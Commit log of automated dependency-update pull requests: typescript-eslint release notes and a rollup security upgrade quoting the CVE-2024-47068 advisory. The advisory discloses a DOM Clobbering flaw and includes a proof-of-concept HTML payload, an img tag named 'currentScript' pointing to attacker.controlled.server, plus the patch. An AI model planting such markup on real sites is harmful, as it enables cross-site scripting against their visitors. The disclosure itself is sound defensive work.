[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2fparser/7.11.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2fparser/7.11.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/eslint-plugin)</summary>

###
[`v7.18.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7180-2024-07-29)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.17.0...v7.18.0)

##### 🩹 Fixes

- **eslint-plugin:** \[no-unnecessary-type-assertion] prevent runtime
error when asserting a variable declared in default TS lib

- **eslint-plugin:** \[unbound-method] report on destructuring in
function parameters

- **eslint-plugin:** \[no-duplicate-type-constituents] shouldn't report
on error types

- **eslint-plugin:** \[strict-boolean-expressions] support branded
booleans

##### ❤️  Thank You

-   auvred
-   Oliver Salzburg
-   Vinccool96
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.17.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7170-2024-07-22)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.16.1...v7.17.0)

##### 🚀 Features

- **eslint-plugin:** backport no-unsafe-function type,
no-wrapper-object-types from v8 to v7

- **eslint-plugin:** \[return-await] add option to report in
error-handling scenarios only, and deprecate "never"

##### 🩹 Fixes

- **eslint-plugin:** \[no-floating-promises] check top-level type
assertions (and more)

- **eslint-plugin:** \[strict-boolean-expressions] consider assertion
function argument a boolean context

- **eslint-plugin:** \[no-unnecessary-condition] false positive on
optional private field

##### ❤️  Thank You

-   Armano
-   Josh Goldberg 
-   Kirk Waiblinger
-   StyleShit

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7161-2024-07-15)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.16.0...v7.16.1)

##### 🩹 Fixes

- **eslint-plugin:** \[no-unnecessary-type-parameters] descend into all
parts of mapped types in no-unnecessary-type-parameters

##### ❤️  Thank You

-   Dan Vanderkam

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7160-2024-07-08)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.15.0...v7.16.0)

##### 🚀 Features

-   **rule-tester:** stricter rule test validations

- **eslint-plugin:** \[no-unnecessary-parameter-property-assignment] add
new rule

- **eslint-plugin:** add support for nested namespaces to
unsafe-member-access

-   **eslint-plugin:** \[no-floating-promises] add checkThenables option

##### 🩹 Fixes

- **deps:** update dependency
[@&#8203;eslint-community/regexpp](https://redirect.github.com/eslint-community/regexpp)
to v4.11.0

- **eslint-plugin:** \[no-floating-promises] add `suggestions` to tests
from
[#&#8203;9263](https://redirect.github.com/typescript-eslint/typescript-eslint/issues/9263)
`checkThenables`

-   **website:** react key error on internal pages of website

- **eslint-plugin:** \[restrict-template-expressions] don't report
tuples if `allowArray` option is enabled

##### ❤️  Thank You

-   Abraham Guo
-   auvred
-   Josh Goldberg 
-   Juan Sanchez
-   Vinccool96
-   YeonJuan
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.15.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7150-2024-07-01)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.14.1...v7.15.0)

##### 🚀 Features

-   **eslint-plugin:** \[array-type] detect `Readonly<string[]>` case

- **eslint-plugin:** back-port new rules around empty object types from
v8

##### 🩹 Fixes

- disable `EXPERIMENTAL_useProjectService` in `disabled-type-checked`
shared config

- **eslint-plugin:** \[no-unsafe-return] differentiate a types-error any
from a true any

- **eslint-plugin:** \[no-unsafe-call] differentiate a types-error any
from a true any

##### ❤️  Thank You

-   auvred
-   Kim Sang Du
-   rgehbt
-   Vinccool96

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7141-2024-06-24)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.14.0...v7.14.1)

##### 🩹 Fixes

- **eslint-plugin:** \[prefer-nullish-coalescing] treat enums and
literals as their underlying primitive types

- **eslint-plugin:** \[prefer-nullish-coalescing] ensure ternary fix
does not remove parens

##### ❤️  Thank You

-   Jake Bailey

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7140-2024-06-24)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.13.1...v7.14.0)

##### 🚀 Features

-   support TypeScript 5.5

##### 🩹 Fixes

-   **eslint-plugin:** \[no-extraneous-class] handle abstract members

- **eslint-plugin:** \[prefer-nullish-coalescing] handle intersected
primitive types

-   **eslint-plugin:** \[no-invalid-this] support AccessorProperty

##### ❤️  Thank You

-   Brad Zacher
-   cm-ayf
-   Jake Bailey
-   James Zhan
-   Joshua Chen
-   yoshi2no

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7131-2024-06-17)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.13.0...v7.13.1)

##### 🩹 Fixes

-   **eslint-plugin:** \[prefer-readonly] refine report locations

- **eslint-plugin:** \[return-await] support explicit resource
management

- **eslint-plugin:** \[no-unsafe-member-access] differentiate a
types-error any from a true any

##### ❤️  Thank You

-   Kirk Waiblinger
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7130-2024-06-10)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.12.0...v7.13.0)

##### 🚀 Features

- **typescript-estree:** require `import = require()` argument to be a
string literal

- **typescript-estree:** forbid `.body`, `.async`, `.generator` on
`declare function`

- **eslint-plugin:** \[no-dynamic-delete] allow all string literals as
index

##### 🩹 Fixes

- **ast-spec:** function-call-like callee should be Expression not
LeftHandSideExpression

-   **scope-manager:** handle index signature in class

-   **eslint-plugin:** \[init-declarations] refine report locations

- **eslint-plugin:** \[no-base-to-string] make error message more
nuanced

- **eslint-plugin:** \[no-unsafe-assignment] be more specific about
error types

- **eslint-plugin:** \[no-magic-numbers] fix implementation of the
`ignore` option

##### ❤️  Thank You

-   Fotis Papadogeorgopoulos
-   Joshua Chen
-   Kirk Waiblinger
-   Tobiloba Adedeji
-   Vinccool96
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.12.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7120-2024-06-03)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.11.0...v7.12.0)

##### 🚀 Features

- **eslint-plugin:** \[no-useless-template-literals] rename to
`no-useless-template-expression` (deprecate
`no-useless-template-literals`)

-   **rule-tester:** check for parsing errors in suggestion fixes

-   **rule-tester:** port `checkDuplicateTestCases` from ESLint

- **eslint-plugin:** \[no-floating-promises] add option
'allowForKnownSafePromises'

##### 🩹 Fixes

-   no-useless-template-expression -> no-unnecessary-template-expression

- **eslint-plugin:** \[no-unnecessary-type-assertion] combine template
literal check with `const` variable check

- **eslint-plugin:** \[dot-notation] fix false positive when accessing
private/protected property with optional chaining

- **eslint-plugin:** \[explicit-member-accessibility] refine report
locations

- **eslint-plugin:** \[no-unnecessary-type-assertion] declares are
always defined, so always check `declare`s

- **eslint-plugin:** \[prefer-literal-enum-member] allow using member it
self on allowBitwiseExpressions

- **eslint-plugin:** \[return-await] clean up in-try-catch detection and
make autofixes safe

- **eslint-plugin:** \[member-ordering] also TSMethodSignature can be
get/set

##### ❤️  Thank You

-   Abraham Guo
-   Han Yeong-woo
-   Joshua Chen
-   Kim Sang Du
-   Kirk Waiblinger
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/parser)</summary>

###
[`v7.18.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7180-2024-07-29)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.17.0...v7.18.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.17.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7170-2024-07-22)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.16.1...v7.17.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7161-2024-07-15)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.16.0...v7.16.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7160-2024-07-08)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.15.0...v7.16.0)

##### 🩹 Fixes

- **deps:** update dependency
[@&#8203;eslint-community/regexpp](https://redirect.github.com/eslint-community/regexpp)
to v4.11.0

-   **website:** react key error on internal pages of website

##### ❤️  Thank You

-   Abraham Guo
-   auvred
-   Josh Goldberg 
-   Juan Sanchez
-   Vinccool96
-   YeonJuan
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.15.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7150-2024-07-01)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.14.1...v7.15.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7141-2024-06-24)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.14.0...v7.14.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7140-2024-06-24)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.13.1...v7.14.0)

##### 🚀 Features

-   support TypeScript 5.5

##### ❤️  Thank You

-   Brad Zacher
-   cm-ayf
-   Jake Bailey
-   James Zhan
-   Joshua Chen
-   yoshi2no

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7131-2024-06-17)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.13.0...v7.13.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7130-2024-06-10)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.12.0...v7.13.0)

##### 🚀 Features

- **parser, typescript-estree:** export withoutProjectParserOptions
utility

##### ❤️  Thank You

-   Fotis Papadogeorgopoulos
-   Joshua Chen
-   Kirk Waiblinger
-   Tobiloba Adedeji
-   Vinccool96
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.12.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7120-2024-06-03)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.11.0...v7.12.0)

##### 🩹 Fixes

-   **types:** correct typing ParserOptions

##### ❤️  Thank You

-   Abraham Guo
-   Han Yeong-woo
-   Joshua Chen
-   Kim Sang Du
-   Kirk Waiblinger
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled because a matching PR was automerged
previously.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC43NC4xIiwidXBkYXRlZEluVmVyIjoiMzguNzQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 13:23:13 -04:00
renovate[bot] 0a99a015f6
chore(deps): [security] update dependency rollup to v4, fix CVE-2024-47068 (#1023)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup](https://rollupjs.org/)
([source](https://redirect.github.com/rollup/rollup)) | [`^3.29.4` ->
`^4.0.0`](https://renovatebot.com/diffs/npm/rollup/3.29.4/4.22.4) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup/4.22.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup/4.22.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup/3.29.4/4.22.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup/3.29.4/4.22.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2024-47068](https://redirect.github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm)

### Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling
scripts that use `import.meta.url` or with plugins that emit and
reference asset files from code in `cjs`/`umd`/`iife` format. The DOM
Clobbering gadget can lead to cross-site scripting (XSS) in web pages
where scriptless attacker-controlled HTML elements (e.g., an `img` tag
with an unsanitized `name` attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular
bundlers like Webpack
([CVE-2024-43788](https://redirect.github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986)),
which might serve as a good reference.

### Details

#### Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first
embeds a piece of non-script, seemingly benign HTML markups in the
webpage (e.g. through a post or comment) and leverages the gadgets
(pieces of js code) living in the existing javascript code to transform
it into executable code. More for information about DOM Clobbering, here
are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

#### Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in `rollup` bundled
scripts, particularly when the scripts uses `import.meta` and set output
in format of `cjs`/`umd`/`iife`. In such cases, `rollup` replaces meta
property with the URL retrieved from `document.currentScript`.


b86ffd776c/src/ast/nodes/MetaProperty.ts (L157-L162)


b86ffd776c/src/ast/nodes/MetaProperty.ts (L180-L185)

However, this implementation is vulnerable to a DOM Clobbering attack.
The `document.currentScript` lookup can be shadowed by an attacker via
the browser's named DOM tree element access mechanism. This manipulation
allows an attacker to replace the intended script element with a
malicious HTML element. When this happens, the `src` attribute of the
attacker-controlled element (e.g., an `img` tag ) is used as the URL for
importing scripts, potentially leading to the dynamic loading of scripts
from an attacker-controlled server.

### PoC

Considering a website that contains the following `main.js` script, the
devloper decides to use the `rollup` to bundle up the program: `rollup
main.js --format cjs --file bundle.js`.

```
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
```

The output `bundle.js` is shown in the following code snippet.

```
'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
```

Adding the `rollup` bundled script, `bundle.js`, as part of the web page
source code, the page could load the `extra.js` file from the attacker's
domain, `attacker.controlled.server` due to the introduced gadget during
bundling. The attacker only needs to insert an `img` tag with the name
attribute set to `currentScript`. This can be done through a website's
feature that allows users to embed certain script-less HTML (e.g.,
markdown renderers, web email clients, forums) or via an HTML injection
vulnerability in third-party JavaScript loaded on the page.

```
<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
```

### Impact

This vulnerability can result in cross-site scripting (XSS) attacks on
websites that include rollup-bundled files (configured with an output
format of `cjs`, `iife`, or `umd` and use `import.meta`) and allow users
to inject certain scriptless HTML tags without properly sanitizing the
`name` or `id` attributes.

### Patch

Patching the following two functions with type checking would be
effective mitigations against DOM Clobbering attack.

```
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
```

```
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;
```

---

### Release Notes

<details>
<summary>rollup/rollup (rollup)</summary>

###
[`v4.22.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4224)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.22.3...v4.22.4)

*2024-09-21*

##### Bug Fixes

- Fix a vulnerability in generated code that affects IIFE, UMD and CJS
bundles when run in a browser context
([#&#8203;5671](https://redirect.github.com/rollup/rollup/issues/5671))

##### Pull Requests

- [#&#8203;5670](https://redirect.github.com/rollup/rollup/pull/5670):
refactor: Use object.prototype to check for reserved properties
([@&#8203;YuHyeonWook](https://redirect.github.com/YuHyeonWook))
- [#&#8203;5671](https://redirect.github.com/rollup/rollup/pull/5671):
Fix DOM Clobbering CVE
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.22.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4223)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.22.2...v4.22.3)

*2024-09-21*

##### Bug Fixes

- Ensure that mutations in modules without side effects are observed
while properly handling transitive dependencies
([#&#8203;5669](https://redirect.github.com/rollup/rollup/issues/5669))

##### Pull Requests

- [#&#8203;5669](https://redirect.github.com/rollup/rollup/pull/5669):
Ensure impure dependencies of pure modules are added
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.22.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4222)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.22.1...v4.22.2)

*2024-09-20*

##### Bug Fixes

- Revert fix for side effect free modules until other issues are
investigated
([#&#8203;5667](https://redirect.github.com/rollup/rollup/issues/5667))

##### Pull Requests

- [#&#8203;5667](https://redirect.github.com/rollup/rollup/pull/5667):
Partially revert
[#&#8203;5658](https://redirect.github.com/rollup/rollup/issues/5658)
and re-apply
[#&#8203;5644](https://redirect.github.com/rollup/rollup/issues/5644)
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.22.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4221)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.22.0...v4.22.1)

*2024-09-20*

##### Bug Fixes

- Revert
[#&#8203;5644](https://redirect.github.com/rollup/rollup/issues/5644)
"stable chunk hashes" while issues are being investigated

##### Pull Requests

- [#&#8203;5663](https://redirect.github.com/rollup/rollup/pull/5663):
chore(deps): update dependency inquirer to v11
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5664](https://redirect.github.com/rollup/rollup/pull/5664):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5665](https://redirect.github.com/rollup/rollup/pull/5665):
fix: type in CI file
([@&#8203;YuHyeonWook](https://redirect.github.com/YuHyeonWook))
- [#&#8203;5666](https://redirect.github.com/rollup/rollup/pull/5666):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.22.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4220)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.21.3...v4.22.0)

*2024-09-19*

##### Features

- Add additional known global values to avoid access side effects
([#&#8203;5651](https://redirect.github.com/rollup/rollup/issues/5651))

##### Bug Fixes

- Ensure deterministic chunk hash generation despite async renderChunk
hook
([#&#8203;5644](https://redirect.github.com/rollup/rollup/issues/5644))
- Improve side effect detection when using "smallest" treeshaking preset
when imports are optimized away
([#&#8203;5658](https://redirect.github.com/rollup/rollup/issues/5658))

##### Pull Requests

- [#&#8203;5644](https://redirect.github.com/rollup/rollup/pull/5644):
fix: apply final hashes deterministically with stable placeholders set
([@&#8203;mattkubej](https://redirect.github.com/mattkubej),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5646](https://redirect.github.com/rollup/rollup/pull/5646):
chore(deps): update dependency
[@&#8203;mermaid-js/mermaid-cli](https://redirect.github.com/mermaid-js/mermaid-cli)
to v11 ([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5647](https://redirect.github.com/rollup/rollup/pull/5647):
chore(deps): update dependency concurrently to v9
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5648](https://redirect.github.com/rollup/rollup/pull/5648):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5651](https://redirect.github.com/rollup/rollup/pull/5651):
feat: add `AggregateError`, `FinalizationRegistry`, `WeakRef` to
knownGlobals ([@&#8203;re-taro](https://redirect.github.com/re-taro))
- [#&#8203;5653](https://redirect.github.com/rollup/rollup/pull/5653):
Fix example selection in REPL
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5657](https://redirect.github.com/rollup/rollup/pull/5657):
chore(deps): update dependency vite to v5.4.6 \[security]
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5658](https://redirect.github.com/rollup/rollup/pull/5658):
Detect variable reassignments in modules without side effects
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.21.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4213)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.21.2...v4.21.3)

*2024-09-12*

##### Bug Fixes

- Always respect side effects in left-hand side of optional chain
([#&#8203;5642](https://redirect.github.com/rollup/rollup/issues/5642))
- Update stack trace for augmented errors to not hide relevant
information
([#&#8203;5640](https://redirect.github.com/rollup/rollup/issues/5640))

##### Pull Requests

- [#&#8203;5636](https://redirect.github.com/rollup/rollup/pull/5636):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5637](https://redirect.github.com/rollup/rollup/pull/5637):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5640](https://redirect.github.com/rollup/rollup/pull/5640):
fix: keep the message of stack up-to-date
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5642](https://redirect.github.com/rollup/rollup/pull/5642):
fix: include left-side effect of optional chaining in the end of
hasEffectsAsChainElement
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.21.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4212)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.21.1...v4.21.2)

*2024-08-30*

##### Bug Fixes

- Handle IIFE/UMD namespace definitions conflicting with a builtin
property
([#&#8203;5605](https://redirect.github.com/rollup/rollup/issues/5605))

##### Pull Requests

- [#&#8203;5605](https://redirect.github.com/rollup/rollup/pull/5605):
fix: Wrong namespace property definition
([@&#8203;thirumurugan-git](https://redirect.github.com/thirumurugan-git),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5630](https://redirect.github.com/rollup/rollup/pull/5630):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5631](https://redirect.github.com/rollup/rollup/pull/5631):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5632](https://redirect.github.com/rollup/rollup/pull/5632):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.21.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4211)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.21.0...v4.21.1)

*2024-08-26*

##### Bug Fixes

- Ensure `closeWatcher` hook is called when watch mode is aborted via
Ctrl+C
([#&#8203;5618](https://redirect.github.com/rollup/rollup/issues/5618))
- Do not produce invalid code for `import.meta.url` in compact mode
([#&#8203;5624](https://redirect.github.com/rollup/rollup/issues/5624))
- Do not throw when generating chunk names when preserving modules in
Windows
([#&#8203;5625](https://redirect.github.com/rollup/rollup/issues/5625))

##### Pull Requests

- [#&#8203;5591](https://redirect.github.com/rollup/rollup/pull/5591):
chore(deps): update dependency
[@&#8203;types/eslint](https://redirect.github.com/types/eslint) to v9
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5618](https://redirect.github.com/rollup/rollup/pull/5618):
preload the WASM file even though the version is undefined.
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5619](https://redirect.github.com/rollup/rollup/pull/5619):
